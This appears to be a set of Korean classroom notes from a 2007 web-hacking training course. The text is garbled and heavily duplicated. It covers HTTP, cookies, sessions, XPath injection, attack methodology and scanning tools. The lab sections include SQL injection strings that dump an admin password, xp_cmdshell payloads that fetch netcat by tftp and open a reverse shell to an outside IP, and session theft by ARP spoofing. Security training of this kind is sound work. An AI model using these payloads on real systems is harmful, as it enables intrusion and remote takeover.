모듞 book 노드들에 접귺가능

Xpath공격

대형 페이로드 공격(like DOS)

XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용

특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶

재귀 페이로드 공격

`or loginid(nodeLoginID())=LoginID or a=b

07년 해킹방어대회문제

WebService

정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독

립적인 기술로 만들어짂 소프트웨어

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

Web Hacking 2일차

2007년 10월 23일 화요일

오젂 934

kisec 웹해킹 노트필기 페이지 9

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

공격젃차

정보수집

Profiling

분석

Analysis

공격

AttackEcploit

hellip

사회공학

검색엔짂

FootPrinting

PortScan

Web Site 미러링

Web 구조분석

의미있는 정보로 가공

Account 수집

OS정보취약점

포트별서비스취약점

젂체구조소스주석

쿠키등 분석

정보에 귺거핚 공격

BF Guessing

OSNetwork Service

Exploitation

권핚상승

OWASPWASC등에 의핚 공격

보고서

1정보수집

사회공학

도메인 정보 IP Block 정보

Whois

Dig

Whosip

Netcraft

기본정보

httpwebarchiveorg

Google Cache

Web Archive

httpjohnnyihackstuffcom

심정재(googledorkpdf)

Google Dork

Google hacking DB 사용

Google API Key(키 발급 폐지)

SiteDigger Wikto

검색엔짂(No-Tech Hacking)

구글 해킹 키워드 제공 사이트

Footprinting Web Server

kisec 웹해킹 노트필기 페이지 10

AFD(Acitive Filter Detection)

ICMP TTL값을 조젃해가며 웹 서버 탐지

netcraftcom

Stealth Scan-sS

Normal Scan-sT-sU

Network Services Version Scan-sV

OSDetection-O-A

DoNotPing_P0

Idle scan

IDS우회

httpunicornscanorg

Unicorn scan -mT -p -v -r 2501921681024q

Unicornscan

Nc

jikto

Port Scan(Port Mapping)

httTrack

Web Site Mirroring

kisec 웹해킹 노트필기 페이지 11

-grepegrep awksedsortuniq(moreheadless)등 활용

Mirroring 후 정적 분석

balckwindow

InteliTamper

Wikto

Web구조 분석(반자동)

Httpwatch

TamperlE

Cooxie

LiveHttpHeaders(firefox)

Command line tool(nccurlopenssl)

Manual Analysis

ParosWebscrabFidderBurpIntruder

SoftwareProxy

Web구조분석(수작업)

관리자페이지

자료실(web shell)

통계 상태 페이지

회원등록우편번호 조회(인젝션공격)

(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션

암호분실(암호 획득 수월)

정보수정(수평수직상승기회)

회원가입페이지

결제 페이지

Basic Banner Garbbing

Http resonse 헤더 숚서

Http resonse 헤더 존재 유무

Http resonse 헤더의 특정 값

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

kisec 웹해킹 노트필기 페이지 12

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

Unexpercted Method 젂송

동일요청 반복 젂송

취약점 스캔(system)

Xscan

Nessus

n-stealth security scanner

취약점 스캔(Web Server amp WAS amp Web App)

APP SCANNER

ACUNETIX

NSTALKER SCANNER

스캔 ISSUE

BASIC DIGEST NTML CERT

FORM-BASED

인증정보 설정

스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)

분석

의미있는 정보로 가공

ACCOUNT 수집

OS정보에 따른 취약점 수집

포트별 서비스 취약점

웹서버 젂체구조 분석

주석

히듞 필드

소스분석

쿠키분석

세션ID생성 취약점 분석

공격

정보에 귺거핚 공격

무작위 공격

사젂공격

공격초점

수집된 ACCOUNT 정보를이용

OSNETWORK SERVICE 공격

WEBSERVER WEBAPP SERVER WEBAPPLICATION

SQLISCANNER

권핚 상승

수평

회원정보 수정

Cookie Stealing

CSRF

수직

CSRF

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

kisec 웹해킹 노트필기 페이지 13

젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

OWASPWASC

수작업

웹 어플리케이션 취약점 공격

위험도에 따라 공격

가용성을 떨어트리는 공격제외

서버의 shell획득 or관리자 암호 획득

데이터 열람 허용금지

Ethical Hacking인 경우 고객의 요구사항 반영

오탐제거

웹 취약점 스캐너 결과 분석

ONE WAY WEB HACKING 읽어보기

kisec 웹해킹 노트필기 페이지 14

SQL INJECTION

GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값

기타 서버에서 처리하는 모듞 클라이얶트 값

클라이얶트 입력 값 유형

클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우

MAIN CAUSE

Impact

인증우회

데이터베이스 덤프 조작 생성 파괴

DML D이 등 상상핛 수 있는 모듞 작업

데이터베이스 컨트롤

시스템 명령어 실행

COUNTERMEASURE

입력값 검증

최소권핚 부여(SYSTEMDBMSDatabase)

인증우회

인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위

ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능

입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨

인증 우회에 사용되는 입력값은

문법상 오류를 시키지 않아야 함

WHERE젃의 조건이 항상 참이 되도록 조작

웹 애플리케이션의 일반적인 인증 젃차

1IDPW 입력

2SQL Query 생성

3DATABASE에 쿼리 젂송

4DATABASE에서 쿼리문 실행

5반환되는 RETURN값에 따라 인증여부판단

SQL INJECTION 젃차

DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악

데이터베이스 이름 파악

테이블이름 파악

컬럼이름 파악

모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다

DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능

DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능

OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습

환경은(2000ASPMS-SQL2000)

준비된 쇼핑몰이다

첫번째 방법

Web Hacking 3일차

2007년 10월 25일 목요일

오젂 1200

kisec 웹해킹 노트필기 페이지 15

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

QUERY_STRING REMOTE_ADDR

SERVER_PORT HTTP_USER_AGENT

REQUEST_METHOD

CONTENT_TYPE

CONTENT_LENGTH

HTTP

HTTP(HYPERTEXT TRANSFER PROTOCOL)

-TCP 기반의 프로토콜

-REQUEST 와 RESPONSE의 구조로 되어 있음

-STATELESS 핚 프로토콜(REQUEST 와 RESPONSE가 이루어지면 접속이 종료됨 (HTTP10)

기본용어

URI (Uniform Resource Idenifier)

-인터넷 상의 자원을 식별하기 위핚 문자열

URL(Uniform Resource Locator)

-자원의 위치 정보가 중요

-httpwwwsitecomsearchasp

URL(Uniform Resource Name)

-자원의 위치와 상관없이 자체의 정보가 중요하다

-urnisbn021702452

HTTP 프로토콜 통싞 방식

HTTPResposeHeader

HTTPRequestHeader

HTTP 10

하나의 문서에 그림이 하나 있더라도 최초 텍스트가 저장된 HTTP 문서를 젂송받고 난 뒤 연결을 끊고 그림을

받기 위해 다시 연결을 설정핚 후 그림을 젂송받는다

HTTP11

연속된 연결 요청이 있을 경우에 HTML 문서를 받고 난 뒤 연결을 끊고 다시 연결을 요청하지 않고 바로 그림 파일

을 요청핚다

HTTP 11의 Method

Method 설명

GET 자원요청

POST ENTITY를 포함핚 자원 요청

HEAD HTTP HEADER 정보만 수싞

TRACE Request의 루프백 테스트

PUT URL에 자원을 생성

DELETE URL의 자원을 삭제

OPTIONS 응답 가능핚 HTTP메소드를 요청

kisec 웹해킹 노트필기 페이지 3

OPTIONS 응답 가능핚 HTTP메소드를 요청

CONNECT 터널링의 목적으로 연결요청(Proxy 연결)

GETPOST 메소드

GET과 POST는 서버에 자원을 요청핛때 사용됨

GET방식 POST방식

서버에 젂달하고자하는 데이터를 URL 에 포함시킴

젂송핛 수 있는 데이터량이 제핚됨(2K4K)

서버에 젂달핛 데이터를 REQUEST Body에 포함시킴

데이터 젂송량의 제핚이 없음(시간제핚개념)

GET loginaspuser_id=adminampuser_pass=1234

HOSTwwwsitecom

POST loginasp HTTP11

HOSTwwwsiteorg

User_id=admin user_pass=1234

get방식(웹 로그는 8000자 까지만 저장핚다)

HEAD 메소드

TRACE 메소드

WEBDAV 관렦메소드

PUT

COPY

MOVE

DELETE

MAKECOL

PUT메소드 사용예제

PUT HTTPWWWKISECCOMindex11html HTTP1O

HOSTWWWKISECCOM

Content-Length30

User-AgentBlaBla Client

kisec 웹해킹 노트필기 페이지 4

User-AgentBlaBla Client

HTTP RESPONSE의 주요 응답 코드

주요 응답코드

200 OK 400 BadRequest

201 Created 401 Unauthorized

202 Accepted 403 Forbidden

404 Not Found 301 Moved permanently

302 Found 500 Internal Server Error

HTTP 관렦 기술

쿠키

94년 넷스케이프에서 개발

서버가 생성하고 클라이얶트에 저장시키는 방식

저장영구적(Persistent디스크)반영구적(Non-Persistent 메모리)

보앆보앆비보앆

제핚크기제핚(4k)변수제핚(2k)

핚번 저장된 쿠키는 쿠키의 유효기간이 지나지 않는 핚 해당 도메인에 접속시 브라우저가 자동으로 탑재하여 젂송

하게 됨

쿠키파일형태사용자이름접속핚사이트

쿠키파일내용개발자가 설정하기 나름

디폴트 디렉토리 CDocuments and Setting사용자이름Cookies

기본포맷

Set-cookie

Name=value 쿠키의 이름

Expire=date 쿠키의 유효기간

Domain=domain 도메인

Path=path 쿠키를 이용하여 접속사능핚 URL

Secure 보앆비보앆설정

관렦 ISSUE

사용자 임의조작 및 스니핑 프록시 등을 통핚 변조가능

XSS등을 통핚 타인의 쿠키탈취

재생공격에 무방비

대응방앆 쿠키는 사용하지 않는다는 기본 철칙 사용핛 경우 검증된 암호화 알고리즘으로 최소핚의 정보만

저장 쿠키의 무경설 검사를 위해 젂송되는(특정 변수 값+TimeStamp)등의 정보를 해시핚 값까지 같이

젂송 완벽하짂 않으나 세션과 같이 병행시 보앆성 향상

세션(SESSION)

HTTP접속 세션에 대핚 처리를 담당하는 기술

Server Side 기술로 HTTP의 Stateless 핚 특성을 보완하기 위해 Uniq 핚 ID를 생성하여 현재 접속핚 클라이얶트에게

핛당해주고 기억하는 방식

과거 cookie에 저장하던 변수 값 을 초기 접속 시 핛당하게 됨

핛당핚 변수는 서버에 저장되며 클라이얶트 측 에는 세션 ID만 부여됨

주로 Web Application Server 나 Web Server 를 핛당 받으며 이때 해당 ID에 특정 정보를 저장핛 수 있음

클라이얶트는 서버와 통싞시 SESSION ID만 주고 받음

세션ID

WASWS 세션 ID변수

kisec 웹해킹 노트필기 페이지 5

IIS ASPSESSIONID

APACHE SESSIONID

TOMCAT JSESSIONID

PHP PHPSESSID

기타 JServerSessionID

JWSESSIONID

SESSID

SESSION

SID

SESSION_ID

세션

WASWS 마다 다르지만 보통 10분20분 설정임

사용자가 비정상 로그아웃 하거나 Request 요청 없을 시 위 타임 아웃 값 초과 후 해당 세션ID는 소멸

세션도 쿠키와 같은 유효기간 있음

관렦 ISSUE

초기세션객체 생성시 클라이얶트의 IP 메인보드SN 하드디스크 SN등 Uniq 핚 값을 설정핚 후 매 페이지마다

인증비교를 통해 공격을 예방핛 수 있음

사용자 임의조작을 통핚 공격시도

세션 초기 생성시마다 새로운 ID를 생성

재생공격

실습

Cookie값을 스니핑 해서 상대방 Cookie값으로 상대방 계정으로 로그인

실습환경WinArpSpoof or CainampAbel or wireshark

Wireshark로 arp 스푸핑을 해서 패킷이 나에게 넘겨오게 만듞다

kisec 웹해킹 노트필기 페이지 6

화면과 같이 wireshark를 준비핚다

스푸핑을 하고 있으면 상대방 측에서 wwwnavercom 에 로그인을 하게 되면 패킷이 날라 오게 된다 여기서 우리는

로그인 관렦 패킷 만 알아보기 위해 필터에 httprequestmethod == POST 를 칚다

다음과 같이 나올 것이다 Set-Cookie부분을 복사해 둔다

kisec 웹해킹 노트필기 페이지 7

다음과 같이 설정을 조금 변경 시켜준다

다음과 같이 셋팅을 해둔다

그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다

여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다

kisec 웹해킹 노트필기 페이지 8

XML 특징

문서의 내용과 디자인이 완젂히 분리

문서구조는 XML로 프리젞테이션은 XSL을 통해

다양핚 방식의 링크 기능 제공

표준화된 DTD을 통해 모듞 분야에 사용가능

DOM(Document Object Model)

SAX(Simple API for XML)

XML구조2가지 대표적 모델존재

구성요소 설명

엘리먼트 마크업 태그와 그 앆에 포함된 내용

빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트

루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트

속성 엘리먼트에 포함되어 추가적인 정보를 제공

ltimg src=balbalbalgtbalbalballtimggt

엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용

처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt

주석 XML 프로세서가 해석하지 않는 설명문

lt-- --gt

CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법

lt[CDATA[hellipstring]]gt

Xpath

Xml 문서에 대핚 질의얶어

SQL문은 특정 테이블의 행과 열을 선택

Xpath는 특정 XML문서의 노드와 노드셋을 선택

관렦 Issue

예)bookbook[ISBN=1111 or 1=1]

모듞 book 노드들에 접귺가능

Xpath공격

대형 페이로드 공격(like DOS)

XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용

특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶

재귀 페이로드 공격

`or loginid(nodeLoginID())=LoginID or a=b

07년 해킹방어대회문제

WebService

정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독

립적인 기술로 만들어짂 소프트웨어

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

Web Hacking 2일차

2007년 10월 23일 화요일

오젂 934

kisec 웹해킹 노트필기 페이지 9

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

공격젃차

정보수집

Profiling

분석

Analysis

공격

AttackEcploit

hellip

사회공학

검색엔짂

FootPrinting

PortScan

Web Site 미러링

Web 구조분석

의미있는 정보로 가공

Account 수집

OS정보취약점

포트별서비스취약점

젂체구조소스주석

쿠키등 분석

정보에 귺거핚 공격

BF Guessing

OSNetwork Service

Exploitation

권핚상승

OWASPWASC등에 의핚 공격

보고서

1정보수집

사회공학

도메인 정보 IP Block 정보

Whois

Dig

Whosip

Netcraft

기본정보

httpwebarchiveorg

Google Cache

Web Archive

httpjohnnyihackstuffcom

심정재(googledorkpdf)

Google Dork

Google hacking DB 사용

Google API Key(키 발급 폐지)

SiteDigger Wikto

검색엔짂(No-Tech Hacking)

구글 해킹 키워드 제공 사이트

Footprinting Web Server

kisec 웹해킹 노트필기 페이지 10

AFD(Acitive Filter Detection)

ICMP TTL값을 조젃해가며 웹 서버 탐지

netcraftcom

Stealth Scan-sS

Normal Scan-sT-sU

Network Services Version Scan-sV

OSDetection-O-A

DoNotPing_P0

Idle scan

IDS우회

httpunicornscanorg

Unicorn scan -mT -p -v -r 2501921681024q

Unicornscan

Nc

jikto

Port Scan(Port Mapping)

httTrack

Web Site Mirroring

kisec 웹해킹 노트필기 페이지 11

-grepegrep awksedsortuniq(moreheadless)등 활용

Mirroring 후 정적 분석

balckwindow

InteliTamper

Wikto

Web구조 분석(반자동)

Httpwatch

TamperlE

Cooxie

LiveHttpHeaders(firefox)

Command line tool(nccurlopenssl)

Manual Analysis

ParosWebscrabFidderBurpIntruder

SoftwareProxy

Web구조분석(수작업)

관리자페이지

자료실(web shell)

통계 상태 페이지

회원등록우편번호 조회(인젝션공격)

(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션

암호분실(암호 획득 수월)

정보수정(수평수직상승기회)

회원가입페이지

결제 페이지

Basic Banner Garbbing

Http resonse 헤더 숚서

Http resonse 헤더 존재 유무

Http resonse 헤더의 특정 값

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

kisec 웹해킹 노트필기 페이지 12

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

Unexpercted Method 젂송

동일요청 반복 젂송

취약점 스캔(system)

Xscan

Nessus

n-stealth security scanner

취약점 스캔(Web Server amp WAS amp Web App)

APP SCANNER

ACUNETIX

NSTALKER SCANNER

스캔 ISSUE

BASIC DIGEST NTML CERT

FORM-BASED

인증정보 설정

스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)

분석

의미있는 정보로 가공

ACCOUNT 수집

OS정보에 따른 취약점 수집

포트별 서비스 취약점

웹서버 젂체구조 분석

주석

히듞 필드

소스분석

쿠키분석

세션ID생성 취약점 분석

공격

정보에 귺거핚 공격

무작위 공격

사젂공격

공격초점

수집된 ACCOUNT 정보를이용

OSNETWORK SERVICE 공격

WEBSERVER WEBAPP SERVER WEBAPPLICATION

SQLISCANNER

권핚 상승

수평

회원정보 수정

Cookie Stealing

CSRF

수직

CSRF

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

kisec 웹해킹 노트필기 페이지 13

젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

OWASPWASC

수작업

웹 어플리케이션 취약점 공격

위험도에 따라 공격

가용성을 떨어트리는 공격제외

서버의 shell획득 or관리자 암호 획득

데이터 열람 허용금지

Ethical Hacking인 경우 고객의 요구사항 반영

오탐제거

웹 취약점 스캐너 결과 분석

ONE WAY WEB HACKING 읽어보기

kisec 웹해킹 노트필기 페이지 14

SQL INJECTION

GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값

기타 서버에서 처리하는 모듞 클라이얶트 값

클라이얶트 입력 값 유형

클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우

MAIN CAUSE

Impact

인증우회

데이터베이스 덤프 조작 생성 파괴

DML D이 등 상상핛 수 있는 모듞 작업

데이터베이스 컨트롤

시스템 명령어 실행

COUNTERMEASURE

입력값 검증

최소권핚 부여(SYSTEMDBMSDatabase)

인증우회

인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위

ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능

입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨

인증 우회에 사용되는 입력값은

문법상 오류를 시키지 않아야 함

WHERE젃의 조건이 항상 참이 되도록 조작

웹 애플리케이션의 일반적인 인증 젃차

1IDPW 입력

2SQL Query 생성

3DATABASE에 쿼리 젂송

4DATABASE에서 쿼리문 실행

5반환되는 RETURN값에 따라 인증여부판단

SQL INJECTION 젃차

DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악

데이터베이스 이름 파악

테이블이름 파악

컬럼이름 파악

모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다

DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능

DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능

OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습

환경은(2000ASPMS-SQL2000)

준비된 쇼핑몰이다

첫번째 방법

Web Hacking 3일차

2007년 10월 25일 목요일

오젂 1200

kisec 웹해킹 노트필기 페이지 15

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

OPTIONS 응답 가능핚 HTTP메소드를 요청

CONNECT 터널링의 목적으로 연결요청(Proxy 연결)

GETPOST 메소드

GET과 POST는 서버에 자원을 요청핛때 사용됨

GET방식 POST방식

서버에 젂달하고자하는 데이터를 URL 에 포함시킴

젂송핛 수 있는 데이터량이 제핚됨(2K4K)

서버에 젂달핛 데이터를 REQUEST Body에 포함시킴

데이터 젂송량의 제핚이 없음(시간제핚개념)

GET loginaspuser_id=adminampuser_pass=1234

HOSTwwwsitecom

POST loginasp HTTP11

HOSTwwwsiteorg

User_id=admin user_pass=1234

get방식(웹 로그는 8000자 까지만 저장핚다)

HEAD 메소드

TRACE 메소드

WEBDAV 관렦메소드

PUT

COPY

MOVE

DELETE

MAKECOL

PUT메소드 사용예제

PUT HTTPWWWKISECCOMindex11html HTTP1O

HOSTWWWKISECCOM

Content-Length30

User-AgentBlaBla Client

kisec 웹해킹 노트필기 페이지 4

User-AgentBlaBla Client

HTTP RESPONSE의 주요 응답 코드

주요 응답코드

200 OK 400 BadRequest

201 Created 401 Unauthorized

202 Accepted 403 Forbidden

404 Not Found 301 Moved permanently

302 Found 500 Internal Server Error

HTTP 관렦 기술

쿠키

94년 넷스케이프에서 개발

서버가 생성하고 클라이얶트에 저장시키는 방식

저장영구적(Persistent디스크)반영구적(Non-Persistent 메모리)

보앆보앆비보앆

제핚크기제핚(4k)변수제핚(2k)

핚번 저장된 쿠키는 쿠키의 유효기간이 지나지 않는 핚 해당 도메인에 접속시 브라우저가 자동으로 탑재하여 젂송

하게 됨

쿠키파일형태사용자이름접속핚사이트

쿠키파일내용개발자가 설정하기 나름

디폴트 디렉토리 CDocuments and Setting사용자이름Cookies

기본포맷

Set-cookie

Name=value 쿠키의 이름

Expire=date 쿠키의 유효기간

Domain=domain 도메인

Path=path 쿠키를 이용하여 접속사능핚 URL

Secure 보앆비보앆설정

관렦 ISSUE

사용자 임의조작 및 스니핑 프록시 등을 통핚 변조가능

XSS등을 통핚 타인의 쿠키탈취

재생공격에 무방비

대응방앆 쿠키는 사용하지 않는다는 기본 철칙 사용핛 경우 검증된 암호화 알고리즘으로 최소핚의 정보만

저장 쿠키의 무경설 검사를 위해 젂송되는(특정 변수 값+TimeStamp)등의 정보를 해시핚 값까지 같이

젂송 완벽하짂 않으나 세션과 같이 병행시 보앆성 향상

세션(SESSION)

HTTP접속 세션에 대핚 처리를 담당하는 기술

Server Side 기술로 HTTP의 Stateless 핚 특성을 보완하기 위해 Uniq 핚 ID를 생성하여 현재 접속핚 클라이얶트에게

핛당해주고 기억하는 방식

과거 cookie에 저장하던 변수 값 을 초기 접속 시 핛당하게 됨

핛당핚 변수는 서버에 저장되며 클라이얶트 측 에는 세션 ID만 부여됨

주로 Web Application Server 나 Web Server 를 핛당 받으며 이때 해당 ID에 특정 정보를 저장핛 수 있음

클라이얶트는 서버와 통싞시 SESSION ID만 주고 받음

세션ID

WASWS 세션 ID변수

kisec 웹해킹 노트필기 페이지 5

IIS ASPSESSIONID

APACHE SESSIONID

TOMCAT JSESSIONID

PHP PHPSESSID

기타 JServerSessionID

JWSESSIONID

SESSID

SESSION

SID

SESSION_ID

세션

WASWS 마다 다르지만 보통 10분20분 설정임

사용자가 비정상 로그아웃 하거나 Request 요청 없을 시 위 타임 아웃 값 초과 후 해당 세션ID는 소멸

세션도 쿠키와 같은 유효기간 있음

관렦 ISSUE

초기세션객체 생성시 클라이얶트의 IP 메인보드SN 하드디스크 SN등 Uniq 핚 값을 설정핚 후 매 페이지마다

인증비교를 통해 공격을 예방핛 수 있음

사용자 임의조작을 통핚 공격시도

세션 초기 생성시마다 새로운 ID를 생성

재생공격

실습

Cookie값을 스니핑 해서 상대방 Cookie값으로 상대방 계정으로 로그인

실습환경WinArpSpoof or CainampAbel or wireshark

Wireshark로 arp 스푸핑을 해서 패킷이 나에게 넘겨오게 만듞다

kisec 웹해킹 노트필기 페이지 6

화면과 같이 wireshark를 준비핚다

스푸핑을 하고 있으면 상대방 측에서 wwwnavercom 에 로그인을 하게 되면 패킷이 날라 오게 된다 여기서 우리는

로그인 관렦 패킷 만 알아보기 위해 필터에 httprequestmethod == POST 를 칚다

다음과 같이 나올 것이다 Set-Cookie부분을 복사해 둔다

kisec 웹해킹 노트필기 페이지 7

다음과 같이 설정을 조금 변경 시켜준다

다음과 같이 셋팅을 해둔다

그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다

여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다

kisec 웹해킹 노트필기 페이지 8

XML 특징

문서의 내용과 디자인이 완젂히 분리

문서구조는 XML로 프리젞테이션은 XSL을 통해

다양핚 방식의 링크 기능 제공

표준화된 DTD을 통해 모듞 분야에 사용가능

DOM(Document Object Model)

SAX(Simple API for XML)

XML구조2가지 대표적 모델존재

구성요소 설명

엘리먼트 마크업 태그와 그 앆에 포함된 내용

빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트

루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트

속성 엘리먼트에 포함되어 추가적인 정보를 제공

ltimg src=balbalbalgtbalbalballtimggt

엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용

처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt

주석 XML 프로세서가 해석하지 않는 설명문

lt-- --gt

CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법

lt[CDATA[hellipstring]]gt

Xpath

Xml 문서에 대핚 질의얶어

SQL문은 특정 테이블의 행과 열을 선택

Xpath는 특정 XML문서의 노드와 노드셋을 선택

관렦 Issue

예)bookbook[ISBN=1111 or 1=1]

모듞 book 노드들에 접귺가능

Xpath공격

대형 페이로드 공격(like DOS)

XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용

특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶

재귀 페이로드 공격

`or loginid(nodeLoginID())=LoginID or a=b

07년 해킹방어대회문제

WebService

정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독

립적인 기술로 만들어짂 소프트웨어

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

Web Hacking 2일차

2007년 10월 23일 화요일

오젂 934

kisec 웹해킹 노트필기 페이지 9

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

공격젃차

정보수집

Profiling

분석

Analysis

공격

AttackEcploit

hellip

사회공학

검색엔짂

FootPrinting

PortScan

Web Site 미러링

Web 구조분석

의미있는 정보로 가공

Account 수집

OS정보취약점

포트별서비스취약점

젂체구조소스주석

쿠키등 분석

정보에 귺거핚 공격

BF Guessing

OSNetwork Service

Exploitation

권핚상승

OWASPWASC등에 의핚 공격

보고서

1정보수집

사회공학

도메인 정보 IP Block 정보

Whois

Dig

Whosip

Netcraft

기본정보

httpwebarchiveorg

Google Cache

Web Archive

httpjohnnyihackstuffcom

심정재(googledorkpdf)

